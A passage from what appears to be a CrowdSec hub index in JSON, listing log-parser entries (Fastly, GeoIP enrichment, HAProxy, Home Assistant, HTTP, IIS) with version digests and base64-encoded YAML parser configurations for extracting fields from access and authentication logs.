Z190eXBlCiAgICB2YWx1ZTogaHR0cF9hY2Nlc3MtbG9nCiAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmZhc3RseV90aW1lc3RhbXAgKyAiLjAwKyIgKyBldnQuUGFyc2VkLnR6X3BhcnQxICsgIjoiICsgZXZ0LlBhcnNlZC50el9wYXJ0MgogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJjbGllbnRfaXAiKQogIC0gdGFyZ2V0OiBldnQuUGFyc2VkLnJlcXVlc3QKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInVybCIpCiAgLSBtZXRhOiBodHRwX3BhdGgKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInVybCIpCiAgLSBwYXJzZWQ6IHZlcmIKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInJlcXVlc3RfbWV0aG9kIikKICAtIG1ldGE6IHZlcmIKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInJlcXVlc3RfbWV0aG9kIikKICAtIHBhcnNlZDogaHR0cF9yZWZlcmVyCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJyZXF1ZXN0X3JlZmVyZXIiKQogIC0gcGFyc2VkOiBodHRwX3VzZXJfYWdlbnQKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInJlcXVlc3RfdXNlcl9hZ2VudCIpCiAgLSBtZXRhOiBodHRwX3VzZXJfYWdlbnQKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInJlcXVlc3RfdXNlcl9hZ2VudCIpCiAgLSBtZXRhOiBodHRwX3N0YXR1cwogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAicmVzcG9uc2Vfc3RhdHVzIikKICAtIHBhcnNlZDogYm9keV9ieXRlc19zZW50CiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJyZXNwb25zZV9ib2R5X3NpemUiKQ==", "description": "fastly logs parser", "author": "crowdsecurity", "labels": null }, "crowdsecurity/geoip-enrich": { "path": "parsers/s02-enrich/crowdsecurity/geoip-enrich.yaml", "stage": "s02-enrich", "version": "0.2", "versions": { "0.1": { "digest": "c0718adfc71ad462ad90485ad5c490e5de0e54d8af425bff552994e114443ab6", "deprecated": false }, "0.2": { "digest": "ab327e6044a32de7d2f3780cbc8e0c4af0c11716f353023d2dc7b986571bb765", "deprecated": false } }, "long_description": "VGhlIEdlb0lQIG1vZHVsZSByZWxpZXMgb24gZ2VvbGl0ZSBkYXRhYmFzZSB0byBwcm92aWRlIGVucmljaG1lbnQgb24gc291cmNlIGlwLgoKVGhlIGZvbGxvd2luZyBpbmZvcm1hdGlvbnMgd2lsbCBiZSBhZGRlZCB0byB0aGUgZXZlbnQgOgogLSBgTWV0YS5Jc29Db2RlYCA6IHR3by1sZXR0ZXJzIGNvdW50cnkgY29kZQogLSBgTWV0YS5Jc0luRVVgIDogYSBib29sZWFuIGluZGljYXRpbmcgaWYgSVAgaXMgaW4gRVUKIC0gYE1ldGEuR2VvQ29vcmRzYCA6IGxhdGl0dWRlICYgbG9uZ2l0dWRlIG9mIElQCiAtIGBNZXRhLkFTTk51bWJlcmAgOiBBdXRvbm9tb3VzIFN5c3RlbSBOdW1iZXIKIC0gYE1ldGEuQVNOT3JnYCA6IEF1dG9ub21vdXMgU3lzdGVtIE5hbWUKIC0gYE1ldGEuU291cmNlUmFuZ2VgIDogVGhlIHB1YmxpYyByYW5nZSB0byB3aGljaCB0aGUgSVAgYmVsb25ncwoKClRoaXMgY29uZmlndXJhdGlvbiBpbmNsdWRlcyBHZW9MaXRlMiBkYXRhIGNyZWF0ZWQgYnkgTWF4TWluZCBhdmFpbGFibGUgZnJvbSBbaHR0cHM6Ly93d3cubWF4bWluZC5jb21dKGh0dHBzOi8vd3d3Lm1heG1pbmQuY29tKSwgaXQgaW5jbHVkZXMgdHdvIGRhdGEgZmlsZXM6IAoqIFtHZW9MaXRlMi1DaXR5Lm1tZGJdKGh0dHBzOi8vY3Jvd2RzZWMtc3RhdGljcy1hc3NldHMuczMtZXUtd2VzdC0xLmFtYXpvbmF3cy5jb20vR2VvTGl0ZTItQ2l0eS5tbWRiKQoqIFtHZW9MaXRlMi1BU04ubW1kYl0oaHR0cHM6Ly9jcm93ZHNlYy1zdGF0aWNzLWFzc2V0cy5zMy1ldS13ZXN0LTEuYW1hem9uYXdzLmNvbS9HZW9MaXRlMi1BU04ubW1kYikKCg==", "content": "ZmlsdGVyOiAiJ3NvdXJjZV9pcCcgaW4gZXZ0Lk1ldGEiCm5hbWU6IGNyb3dkc2VjdXJpdHkvZ2VvaXAtZW5yaWNoCmRlc2NyaXB0aW9uOiAiUG9wdWxhdGUgZXZlbnQgd2l0aCBnZW9sb2MgaW5mbyA6IGFzLCBjb3VudHJ5LCBjb29yZHMsIHNvdXJjZSByYW5nZS4iCmRhdGE6CiAgLSBzb3VyY2VfdXJsOiBodHRwczovL2Nyb3dkc2VjLXN0YXRpY3MtYXNzZXRzLnMzLWV1LXdlc3QtMS5hbWF6b25hd3MuY29tL0dlb0xpdGUyLUNpdHkubW1kYgogICAgZGVzdF9maWxlOiBHZW9MaXRlMi1DaXR5Lm1tZGIKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vY3Jvd2RzZWMtc3RhdGljcy1hc3NldHMuczMtZXUtd2VzdC0xLmFtYXpvbmF3cy5jb20vR2VvTGl0ZTItQVNOLm1tZGIKICAgIGRlc3RfZmlsZTogR2VvTGl0ZTItQVNOLm1tZGIKc3RhdGljczoKICAtIG1ldGhvZDogR2VvSXBDaXR5CiAgICBleHByZXNzaW9uOiBldnQuTWV0YS5zb3VyY2VfaXAKICAtIG1ldGE6IElzb0NvZGUKICAgIGV4cHJlc3Npb246IGV2dC5FbnJpY2hlZC5Jc29Db2RlCiAgLSBtZXRhOiBJc0luRVUKICAgIGV4cHJlc3Npb246IGV2dC5FbnJpY2hlZC5Jc0luRVUKICAtIG1ldGE6IEdlb0Nvb3JkcwogICAgZXhwcmVzc2lvbjogZXZ0LkVucmljaGVkLkdlb0Nvb3JkcwogIC0gbWV0aG9kOiBHZW9JcEFTTgogICAgZXhwcmVzc2lvbjogZXZ0Lk1ldGEuc291cmNlX2lwCiAgLSBtZXRhOiBBU05OdW1iZXIKICAgIGV4cHJlc3Npb246IGV2dC5FbnJpY2hlZC5BU05OdW1iZXIKICAtIG1ldGE6IEFTTk9yZwogICAgZXhwcmVzc2lvbjogZXZ0LkVucmljaGVkLkFTTk9yZwogIC0gbWV0aG9kOiBJcFRvUmFuZ2UKICAgIGV4cHJlc3Npb246IGV2dC5NZXRhLnNvdXJjZV9pcAogIC0gbWV0YTogU291cmNlUmFuZ2UKICAgIGV4cHJlc3Npb246IGV2dC5FbnJpY2hlZC5Tb3VyY2VSYW5nZQo=", "description": "Populate event with geoloc info : as, country, coords, source range.", "author": "crowdsecurity", "labels": null }, "crowdsecurity/haproxy-logs": { "path": "parsers/s01-parse/crowdsecurity/haproxy-logs.yaml", "stage": "s01-parse", "version": "0.6", "versions": { "0.1": { "digest": "a2bca50192c0623d8d553882fbac0f6fa1d6dc824804aa0a5ca7559ed65321f4", "deprecated": false }, "0.2": { "digest": "2257440ad5cba6a7c48c7e57a0d30a97b38656927fa18a0f7289d05042035cb4", "deprecated": false }, "0.3": { "digest": "e40b4e552cf417be4bd57f3cb452af057a8872dc16a35a51eb3bb38726bf6dd6", "deprecated": false }, "0.4": { "digest": "029545297f7d2beab8f98ad471ef15fd6165e86e645aface54cb9d8b522ab08e", "deprecated": false }, "0.5": { "digest": "6f69723dc68203b323f67e4d35490a08564806dcd9a37f50d42cf5f8e04e6143", "deprecated": false }, "0.6": { "digest": "57a1868b20758955034ef5005f136535403991f0959a44d5ccbdeb87dab901e2", "deprecated": false } }, "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ2hhcHJveHknIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKbmFtZTogY3Jvd2RzZWN1cml0eS9oYXByb3h5LWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBoYXByb3h5IGh0dHAgbG9ncyIKZ3JvazoKICBwYXR0ZXJuOiAnJXtJUDpjbGllbnRfaXB9OiV7SU5UOmNsaWVudF9wb3J0fSBcWyV7SEFQUk9YWURBVEU6YWNjZXB0X2RhdGV9XF0gJXtOT1RTUEFDRTpmcm9udGVuZF9uYW1lfSAle05PVFNQQUNFOmJhY2tlbmRfbmFtZX0vJXtOT1RTUEFDRTpzZXJ2ZXJfbmFtZX0gJXtJTlQ6dGltZV9yZXF1ZXN0fS8le0lOVDp0aW1lX3F1ZXVlfS8le0lOVDp0aW1lX2JhY2tlbmRfY29ubmVjdH0vJXtJTlQ6dGltZV9iYWNrZW5kX3Jlc3BvbnNlfS8le05PVFNQQUNFOnRpbWVfZHVyYXRpb259ICV7SU5UOmh0dHBfc3RhdHVzX2NvZGV9ICV7Tk9UU1BBQ0U6Ynl0ZXNfcmVhZH0gJXtEQVRBOmNhcHR1cmVkX3JlcXVlc3RfY29va2llfSAle0RBVEE6Y2FwdHVyZWRfcmVzcG9uc2VfY29va2llfSAle05PVFNQQUNFOnRlcm1pbmF0aW9uX3N0YXRlfSAle0lOVDphY3Rjb25ufS8le0lOVDpmZWNvbm59LyV7SU5UOmJlY29ubn0vJXtJTlQ6c3J2Y29ubn0vJXtOT1RTUEFDRTpyZXRyaWVzfSAle0lOVDpzcnZfcXVldWV9LyV7SU5UOmJhY2tlbmRfcXVldWV9IChceyV7SEFQUk9YWUNBUFRVUkVEUkVRVUVTVEhFQURFUlN9XH0pPyggKT8oXHsle0hBUFJPWFlDQVBUVVJFRFJFU1BPTlNFSEVBREVSU31cfSk/KCApPyIoPEJBRFJFUT58KCV7V09SRDpodHRwX3ZlcmJ9ICgle1VSSVBST1RPOmh0dHBfcHJvdG99Oi8vKT8oPzole1VTRVI6aHR0cF91c2VyfSg/OjpbXkBdKik/QCk/KD86JXtVUklIT1NUOmh0dHBfaG9zdH0pPyg/OiV7VVJJUEFUSFBBUkFNOmh0dHBfcmVxdWVzdH0pPyggSFRUUC8le05VTUJFUjpodHRwX3ZlcnNpb259KT8pKT8iJwogIGFwcGx5X29uOiBtZXNzYWdlCnN0YXRpY3M6CiAgLSBtZXRhOiBsb2dfdHlwZQogICAgdmFsdWU6IGh0dHBfYWNjZXNzLWxvZwogICAgI0hBUFJPWFlEQVRFIGZvcm1hdCBpcyB1bmtub3duIHRvIGRhdGVwYXJzZSwgbGV0IGNvbnZlcnQgaXQgdG8gYSBmb3JtYXQgd2Uga25vdyB0byBwYXJzZQogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5oYXByb3h5X21vbnRoZGF5ICsgJy8nICsgZXZ0LlBhcnNlZC5oYXByb3h5X21vbnRoICAgKyAnLycgKyBldnQuUGFyc2VkLmhhcHJveHlfeWVhciAgKyAnOicgKyAgIGV2dC5QYXJzZWQuaGFwcm94eV9ob3VyICsgJzonICsgZXZ0LlBhcnNlZC5oYXByb3h5X21pbnV0ZSArICc6JyArICBldnQuUGFyc2VkLmhhcHJveHlfc2Vjb25kWzA6Ml0gKyAnIC0wMDAwJwogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGh0dHAKICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5jbGllbnRfaXAKICAtIG1ldGE6IGh0dHBfcGF0aAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5odHRwX3JlcXVlc3QKICAtIG1ldGE6IGh0dHBfc3RhdHVzCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmh0dHBfc3RhdHVzX2NvZGUKICAtIHBhcnNlZDogcmVxdWVzdAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5odHRwX3JlcXVlc3QKICAtIHBhcnNlZDogdmVyYgogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5odHRwX3ZlcmIK", "description": "Parse haproxy http logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/home-assistant-logs": { "path": "parsers/s01-parse/crowdsecurity/home-assistant-logs.yaml", "stage": "s01-parse", "version": "0.5", "versions": { "0.1": { "digest": "4963cadd8ae936d9104861b383d215a94aed622b1db481a3fe79ea9e7db359bf", "deprecated": false }, "0.2": { "digest": "aee629922e77d2bc2f2c1cd5ec3b646dcafe6c6856c8195b4340584c29d23ef2", "deprecated": false }, "0.3": { "digest": "7382fc2e6129877aa66f5728d8c93c1007d85e1976d7412140581c97a368d940", "deprecated": false }, "0.4": { "digest": "71208b25e33cef30e88cdf0c701b92460c37d8c140be2e769856a8a6292669c5", "deprecated": false }, "0.5": { "digest": "8d6c5ea97042f540faac45456240bc277257e1fdb331cc7cc7d9590804ffcb94", "deprecated": false } }, "long_description": "SG9tZSBhc3Npc3RhbnQgYXV0aGVudGljYXRpb24gZmFpbHVyZSBwYXJzZXIuCgpTdXBwb3J0cyBob21lYXNzaXN0YW50IGRvY2tlciBpbWFnZSBhbmQgSGFzc09TIGxvZ3Mu", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvaG9tZS1hc3Npc3RhbnQtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIEhvbWUgQXNzaXN0YW50IGxvZ3MiCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnaG9tZS1hc3Npc3RhbnQnIG9yIGV2dC5QYXJzZWQucHJvZ3JhbSBlbmRzV2l0aCAnaG9tZWFzc2lzdGFudCciCnBhdHRlcm5fc3ludGF4OgogIFRJTUVTVEFNUDogJyV7WUVBUn0tJXtNT05USE5VTX0tJXtNT05USERBWX0gJXtIT1VSfTole01JTlVURX06JXtTRUNPTkR9Jwpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICIle1RJTUVTVEFNUDp0aW1lfSBXQVJOSU5HIFxcKCV7REFUQTp0aHJlYWROYW1lfVxcKSBcXFtob21lYXNzaXN0YW50LmNvbXBvbmVudHMuaHR0cC5iYW5cXF0gTG9naW4gYXR0ZW1wdCBvciByZXF1ZXN0IHdpdGggaW52YWxpZCBhdXRoZW50aWNhdGlvbiBmcm9tICV7REFUQTpzb3VyY2VfcmRuc30gXFwoJXtJUE9SSE9TVDpzb3VyY2VfaXB9XFwpLiBcXCgle0dSRUVEWURBVEE6aHR0cF91c2VyX2FnZW50fVxcKSIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogaG9tZS1hc3Npc3RhbnRfZmFpbGVkX2F1dGgKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICIle1RJTUVTVEFNUDp0aW1lfSBXQVJOSU5HIFxcKCV7REFUQTp0aHJlYWROYW1lfVxcKSBcXFtob21lYXNzaXN0YW50LmNvbXBvbmVudHMuaHR0cC5iYW5cXF0gTG9naW4gYXR0ZW1wdCBvciByZXF1ZXN0IHdpdGggaW52YWxpZCBhdXRoZW50aWNhdGlvbiBmcm9tICV7REFUQTpzb3VyY2VfcmRuc30gXFwoJXtJUE9SSE9TVDpzb3VyY2VfaXB9XFwpLiBSZXF1ZXN0ZWQgVVJMOiAnJXtHUkVFRFlEQVRBOnVybH0nLiBcXCgle0dSRUVEWURBVEE6aHR0cF91c2VyX2FnZW50fVxcKSIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogaG9tZS1hc3Npc3RhbnRfZmFpbGVkX2F1dGgKc3RhdGljczoKICAtIHRhcmdldDogU3RyVGltZQogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudGltZSIKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiBodHRwCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAtIG1ldGE6IHNvdXJjZV9yZG5zCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfcmRucyIK", "description": "Parse Home Assistant logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/http-logs": { "path": "parsers/s02-enrich/crowdsecurity/http-logs.yaml", "stage": "s02-enrich", "version": "1.1", "versions": { "0.1": { "digest": "d11c01b85927959d1619735c6ac09f260008211edcbf496db0d01b0bd93c5be2", "deprecated": false }, "0.2": { "digest": "1274d4a8afd04f96fa0adb03f661ba4a7771cd0be84cf33d1b405881d07c5f0e", "deprecated": false }, "0.3": { "digest": "26d3a09d652bd0024ceb1b51a864183367d7391fa33c87db5274c1e47c072999", "deprecated": false }, "0.4": { "digest": "ba77a9a5e6b979b9e8d327946aea0a42eed1f035766b80aab2c2a43fb7cf3c13", "deprecated": false }, "0.5": { "digest": "132938d05f1af484c29088b588aaa86a329a2e677842e17c255295fb47532990", "deprecated": false }, "0.6": { "digest": "57d5b2535d46a2fa6a738917d9e2e64924f5e0090d3c75f2a7c44ad8db36f49c", "deprecated": false }, "0.7": { "digest": "c934455276a4ebea1d40f3a80fb960a2f309a06a523b7750c67c374f577f53cf", "deprecated": false }, "0.8": { "digest": "7016a32564d1eb6499d8cc9de1591886c6313acb356e513b67da45f9a7386267", "deprecated": false }, "0.9": { "digest": "79589c27fe75a013f3ebc4c9f6940c3cd0ee376abcd1f863bfa38e1ca237fc10", "deprecated": false }, "1.0": { "digest": "b3e83ce9bfe4cf145fd8d2d03cf68ac696c353e36c825e98f1fa031afaafbae3", "deprecated": false }, "1.1": { "digest": "0a1788e43609b451d1a97b009107a1fe242fa21a2926922a6080636b2a2e56d6", "deprecated": false } }, "long_description": "VGhpcyBwYXJzZXIgaXMgYSBnZW5lcmljIHBvc3QtcGFyc2luZyBodHRwIHJlLXBhcnNlciBhbmQgcHJvZmlkZXMgbW9yZSBkZXRhaWxlZCBpbmZvcm1hdGlvbiBzdWNoIGFzIDoKIC0gc3RhdGljX3Jlc3NvdXJjZSA6IGEgYm9vbGVhbiB0byB0ZWxsIGlmIHRoZSByZXF1ZXN0ZWQgcmVzc291cmNlIGlzIGEgc3RhdGljIGZpbGUKIC0gZmlsZV9uYW1lIDogc2ltcGxlIGZpbGUrZmlsZS1leHRlbnNpb24KIC0gaW1wYWN0X2NvbXBsZXRpb24gOiBhIGJvb2xlYW4gZmxhZyBpbmRpY2F0aW5nIGlmIHRoZSByZXF1ZXN0IHN1Y2NlZWRlZCAoYmFzZWQgb24gdGhlIGh0dHAgcmVzcG9uc2UgY29kZSkK", "content": "ZmlsdGVyOiAiZXZ0Lk1ldGEuc2VydmljZSA9PSAnaHR0cCcgJiYgZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWydodHRwX2FjY2Vzcy1sb2cnLCAnaHR0cF9lcnJvci1sb2cnXSIKZGVzY3JpcHRpb246ICJQYXJzZSBtb3JlIFNwZWNpZmljYWxseSBIVFRQIGxvZ3MsIHN1Y2ggYXMgSFRUUCBDb2RlLCBIVFRQIHBhdGgsIEhUVFAgYXJncyBhbmQgaWYgaXRzIGEgc3RhdGljIHJlc3NvdXJjZSIKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLWxvZ3MKcGF0dGVybl9zeW50YXg6CiAgRElSOiAiXi4qLyIKICBGSUxFOiAiW14vXS4qPyIKICBFWFQ6ICJcXC5bXi5dKiR8JCIKbm9kZXM6CiAgLSBzdGF0aWNzOgogICAgIC0gcGFyc2VkOiAiaW1wYWN0X2NvbXBsZXRpb24iCiAgICAgICAjIHRoZSB2YWx1ZSBvZiBhIGZpZWxkIGNhbiBhcyB3ZWxsIGJlIGRldGVybWluZWQgYXMgdGhlIHJlc3VsdCBvZiBhbiBleHByZXNzaW9uCiAgICAgICBleHByZXNzaW9uOiAiZXZ0Lk1ldGEuaHR0cF9zdGF0dXMgaW4gWyc0MDQnLCAnNDAzJywgJzUwMiddID8gJ2ZhbHNlJyA6ICd0cnVlJyIKICAgICAtIHRhcmdldDogZXZ0LlBhcnNlZC5zdGF0aWNfcmVzc291cmNlCiAgICAgICB2YWx1ZTogJ2ZhbHNlJwogICMgbGV0J3Mgc3BsaXQgdGhlIHBhdGg/cXVlcnkgaWYgcG9zc2libGUKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICJeJXtHUkVFRFlEQVRBOnJlcXVlc3R9XFw/JXtHUkVFRFlEQVRBOmh0dHBfYXJnc30kIgogICAgICBhcHBseV9vbjogcmVxdWVzdAogICMgdGhpcyBpcyBhbm90aGVyIG5vZGUsIHdpdGggaXRzIG93biBwYXR0ZXJuX3N5bnRheAogIC0gI2RlYnVnOiB0cnVlCiAgICBncm9rOgogICAgICBwYXR0ZXJuOiAiJXtESVI6ZmlsZV9kaXJ9KCV7RklMRTpmaWxlX2ZyYWd9JXtFWFQ6ZmlsZV9leHR9KT8iCiAgICAgIGFwcGx5X29uOiByZXF1ZXN0CiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBodHRwX3BhdGgKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmh0dHBfcGF0aCIKICAgICAgICAgICMgbWV0YSBhZgogICAgICAgIC0gbWV0YTogaHR0cF9hcmdzX2xlbgogICAgICAgICAgZXhwcmVzc2lvbjogImxlbihldnQuUGFyc2VkLmh0dHBfYXJncykiCiAgICAgICAgLSBwYXJzZWQ6IGZpbGVfbmFtZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5maWxlX2ZyYWcgKyBldnQuUGFyc2VkLmZpbGVfZXh0CiAgICAgICAgLSBwYXJzZWQ6IHN0YXRpY19yZXNzb3VyY2UKICAgICAgICAgIGV4cHJlc3Npb246ICJVcHBlcihldnQuUGFyc2VkLmZpbGVfZXh0KSBpbiBbJy5KUEcnLCAnLkNTUycsICcuSlMnLCAnLkpQRUcnLCAnLlBORycsICcuU1ZHJywgJy5NQVAnLCAnLklDTycsICcuT1RGJywgJy5HSUYnLCAnLk1QMycsICcuTVA0JywgJy5XT0ZGJywgJy5XT0ZGMicsICcuVFRGJywgJy5PVEYnLCAnLkVPVCcsICcuV0VCUCcsICcuV0FWJywgJy5HWicsICcuQlJPVExJJywgJy5CVlInLCAnLlRTJywgJy5CTVAnXSA/ICd0cnVlJyA6ICdmYWxzZSciCg==", "description": "Parse more Specifically HTTP logs, such as HTTP Code, HTTP path, HTTP args and if its a static ressource", "author": "crowdsecurity", "labels": null }, "crowdsecurity/iis-logs": { "path": "parsers/s01-parse/crowdsecurity/iis-logs.yaml", "stage": "s01-parse", "version": "0.4", "versions": { "0.1": { "digest": "b7a80af9ef0d2dc28939cde8eb773c578c6526b0d09737ca3b5be1821b1d83b6", "deprecated": false }, "0.2": { "digest": "1bf7cff86c0f408a93e661eb8c5ef2959c294a737ffcb800d36c3b03c8358c78", "deprecated": false }, "0.3": { "digest": "3f573bae5c2a602dfc51e753bfcde0e51f3d76ebdba9a795c1126b66f2045087", "deprecated": false }, "0.4": { "digest": "766ad2b89ad05737339cb9364572f2a48ba629b2f13791e7ee5491f8f7601ff7", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBJSVMgZGVmYXVsdCBXM0MgbG9ncy4KCkxvZyBmaWxlIGFuZCBldmVudCBsb2cgYXJlIGJvdGggc3VwcG9ydGVkLg==", "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdpaXMnIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKbmFtZTogY3Jvd2RzZWN1cml0eS9paXMtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIElJUyBhY2Nlc3MgbG9ncyIKbm9kZXM6CiAgI1czQyBsb2dzIGNhbiBjb21lIGZyb20gdGhlIGV2ZW50IGxvZwogIC0gZmlsdGVyOiAiZXZ0Lk1ldGEuZGF0YXNvdXJjZV90eXBlID09ICd3aW5ldmVudGxvZycgYW5kIGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnNjIwMCciCiAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgICAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdjLWlwJ10iKSAKICAgICAgICAtIG1ldGE6IGh0dHBfc3RhdHVzCiAgICAgICAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdzYy1zdGF0dXMnXSIpCiAgICAgICAgLSBwYXJzZWQ6IGh0dHBfcGF0aAogICAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nY3MtdXJpLXN0ZW0nXSIpCiAgICAgICAgLSBtZXRhOiBodHRwX3BhdGgKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuaHR0cF9wYXRoCiAgICAgICAgLSB0YXJnZXQ6IGV2dC5QYXJzZWQuaHR0cF9hcmdzCiAgICAgICAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdjcy11cmktcXVlcnknXSIpCiAgICAgICAgLSBwYXJzZWQ6IHZlcmIKICAgICAgICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J2NzLW1ldGhvZCddIikKICAgICAgICAtIG1ldGE6IGh0dHBfdmVyYgogICAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nY3MtbWV0aG9kJ10iKQogICAgICAgIC0gbWV0YTogaHR0cF91c2VyX2FnZW50CiAgICAgICAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdjc1VzZXItQWdlbnQnXSIpCiAgICAgICAgLSBtZXRhOiB0YXJnZXRfZnFkbgogICAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0ncy1zaXRlbmFtZSddIikgI25vdCBhIEZRRE4sIGJ1dCBjbG9zZSBlbm91Z2ggPwogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nZGF0ZSddIikgKyAiICIgKyBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSd0aW1lJ10iKQogICAgICAgIC0gdGFyZ2V0OiBldnQuUGFyc2VkLnJlcXVlc3QKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5NZXRhLmh0dHBfcGF0aCArICc/JyArIGV2dC5QYXJzZWQuaHR0cF9hcmdzCiAgLSBmaWx0ZXI6ICJldnQuUGFyc2VkLmRhdGFzb3VyY2VfdHlwZSAhPSAnd2luZXZlbnRsb2cnIgogICAgZ3JvazoKICAgICAgcGF0dGVybjogIiV7VElNRVNUQU1QX0lTTzg2MDE6ZGF0ZX0gJXtJUDpzZXJ2ZXJfaXB9ICV7V09SRDpodHRwX21ldGhvZH0gJXtEQVRBOmh0dHBfcGF0aH0gJXtEQVRBOmh0dHBfYXJnc30gJXtJTlR9ICV7REFUQTpyZW1vdGVfdXNlcn0gJXtJUDpjbGllbnRfaXB9ICV7REFUQTp1c2VyX2FnZW50fSAle0RBVEE6cmVmZXJlcn0gJXtJTlQ6c3RhdHVzfSAle0lOVDpzdWJzdGF0dXN9ICV7SU5UOndpbjMyX3N0YXR1c30gJXtJTlQ6ZHVyYXRpb259IgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgc3RhdGljczoKICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCiAgICAgIC0gbWV0YTogc291cmNlX2lwCiA